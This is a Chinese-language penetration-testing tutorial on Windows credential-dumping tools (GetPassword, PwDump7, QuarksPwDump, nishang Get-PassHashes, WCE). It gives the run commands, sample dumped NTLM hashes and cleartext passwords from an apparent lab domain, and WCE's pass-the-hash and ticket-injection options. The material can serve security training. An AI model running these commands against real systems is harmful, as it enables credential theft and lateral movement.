Windows其他类型抓取NTLM HASH工具

getpassword

打开GetPass工具所在的目录。打开命令行环境。运行64位程GetPassword。运行该程序后,即可获得明文密码

```
* User: Administrator
* Domain: HACK
* Password: 1234kl;'\

Authentication Id:0;1489086
Authentication Package:Kerberos
Primary User:bob
Authentication Domain:HACK

* User: bob
* Domain: HACK
* Password: 1234kl;'\
```

pwdump7

在命令行环境中运行PwDump7程序,可以得到系统中所有账户的NTLMHash

```
C:\Users\bob\Desktop\PwDump7>PwDump7.exe
Pwdump v7.1 - raw password extractor
Author: Andres Tarasco Acuna
url: http://www.514.es

Administrator:500:AAAEE2440C6F70D887B6A7E32BE02948:84D350D7D06C454D9F0FF6D34D4CD0A3:::
Guest:501:NO PASSWORD**********************:NO PASSWORD**********************:::
zhangsan:1006:5FCEB7BDD68257F9A6A5A68F7512604F:4BF7182A8EDA1434AB37A30B89321DBA:::
```

QuarksPwDump

下载QuarksPwDump.exe,在命令行环境中输人`QuarksPwDump.exe --dump-hash-local`导出三个用户的NLMHash

```
--------                                  __           __________          ________
\_______ \    __ __ _____  _______ |  | __  ______\_______   \__  _  __\_______ \    __ __   _____  ______
 /  /  \  \ |  |  \\__  \ \_  __ \|  |/ /  /  ___/ |     ___/\ \/ \/ / |    |  \ |  |  \ /     \ \____ \
/   \_/.  \|  |  / / __ \_|  | \/|    <   \___ \  |    |     \     /  |      `   \|  |  /|  Y Y  \|  |_> >
\_____\ \_/|____/ (____  /|__|   |__|_ \/____  > |____|      \/\_/  /_______  /|____/ |__|_|  /|   __/
       \__>            \/              \/     \/                             \/             \/ |__|
                                                                                 v0.2b -<(QuarksLab)>-

[+] Setting BACKUP and RESTORE privileges...[OK]
[+] Parsing SAM registry hive...[OK]
[+] BOOTKEY retrieving...[OK]
BOOTKEY = B1E207B36F6865A360426409E505FA93

------------------------------------------- BEGIN DUMP -------------------------------------------
zhangsan:1006:AAD3B435B51404EEAAD3B435B51404EE:CB136A448767792BAE25563A498A86E6:::
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:33B89CF1674C1378A9CBF91DE7189A7C:::
-------------------------------------------- END DUMP --------------------------------------------

3 dumped accounts
```

nishang

nishang中的 GET-PASSHashes.ps1可以可以获取hash

```
Import-Module .\Get-PassHashes.ps1
Get-PassHashes
```

```
PS C:\Users\Administrator\Desktop> Import-Module .\Get-PassHashes.ps1
PS C:\Users\Administrator\Desktop> Get-PassHashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c
95ab:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
PS C:\Users\Administrator\Desktop>
```

wce

这款工具是一款Hash注入神器，不仅可以用于Hash注入，也可以直接获取明文或Hash。这款工具也分为32位和64位两个不同的版本：

```
-l 列出登录的会话和NTLM凭据（默认值）
-s 修改当前登录会话的NTLM凭据 参数：<用户名>:<域名>:<LM哈希>:<NT哈希>
-r 不定期的列出登录的会话和NTLM凭据，如果找到新的会话，那么每5秒重新列出一次
-c 用一个特殊的NTML凭据运行一个新的会话 参数:
-e 不定期的列出登录的会话和NTLM凭据，当产生一个登录事件的时候重新列出一次
-o 保存所有的输出到一个文件 参数:<文件名>
-i 指定一个LUID代替使用当前登录会话 参数:
-d 从登录会话中删除NTLM凭据 参数:
-a 使用地址 参数：<地址>
-f 强制使用安全模式
-g 生成LM和NT的哈希 参数<密码>
-K 缓存kerberos票据到一个文件（unix和windows wce格式）
-k 从一个文件中读取kerberos票据并插入到windows缓存中
-w 通过摘要式认证缓存一个明文的密码
-v 详细输出
```

```
C:\Documents and Settings\Administrator\桌面\wce-master>wce.exe
WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security -
 by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.

Administrator:PC-2003:6F08D7B306B1DAD4B75E0C8D76954A50:570A9A65DB8FBA761C1008A51
D4C95AB
PC-2003$:HACK:00000000000000000000000000000000:1A4C65BA0926944B4066F6FCDCF05BBD

C:\Documents and Settings\Administrator\桌面\wce-master>
```

```
C:\Documents and Settings\Administrator\桌面\wce-master>wce.exe
WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security -
 by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.

Administrator:PC-2003:6F08D7B306B1DAD4B75E0C8D76954A50:570A9A65DB8FBA761C1008A51
D4C95AB
PC-2003$:HACK:00000000000000000000000000000000:1A4C65BA0926944B4066F6FCDCF05BBD

C:\Documents and Settings\Administrator\桌面\wce-master>wce.exe -w
WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security -
 by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.


Administrator\PC-2003:Admin@123
PC-2003$\HACK:CUK/_:<15Ei9V^(:4v*D]VeQGx:`=>1Np&nP*qgIiknMrHFW101]u4+($6-C(<VGo;
1:\h+h7vtSirjP!y@M!)2FZSI "6M'BB!AiMJUE\z:Ow#V3bYZ+h2Q

C:\Documents and Settings\Administrator\桌面\wce-master>
```